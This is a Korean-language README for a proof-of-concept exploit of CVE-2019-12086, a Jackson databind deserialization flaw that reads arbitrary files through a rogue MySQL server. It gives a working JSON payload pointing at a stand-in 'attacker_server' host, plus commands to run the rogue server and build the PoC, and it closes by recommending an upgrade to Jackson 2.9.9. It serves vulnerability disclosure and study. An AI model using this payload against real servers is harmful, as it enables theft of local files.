
CVE-2019-12086에 대한 개념 증명 익스플로잇: Default Typing이 활성화된 경우, 악의적인 MySQL 서버를 통해 임의 파일 읽기를 가능하게 하는 Jackson databind 역직렬화 취약점.
Default Typing이 활성화된 상태에서, classpath에 mysql-connector-java 8.0.15 버전(2019.2.1 출시) 이하가 존재하는 경우, 공격자는 악의적인 JSON 데이터를 전송하여 임의의 파일을 읽을 수 있습니다. mysql-connector-java 라이브러리는 데이터베이스 연결 시 일반적으로 사용되는 MySQL JDBC입니다.
CVE 설명은 다음과 같습니다:
A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.
com.mysql.cj.jdbc.admin.MiniAdmin의 생성자는 jdbcURL을 나타내는 문자열 값을 받습니다. com.mysql.cj.jdbc.admin.MiniAdmin 클래스는 초기화 시 이 jdbcURL에 지정된 MySQL 데이터베이스에 연결합니다.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Jackson을 2.9.9 이상으로 업그레이드하십시오.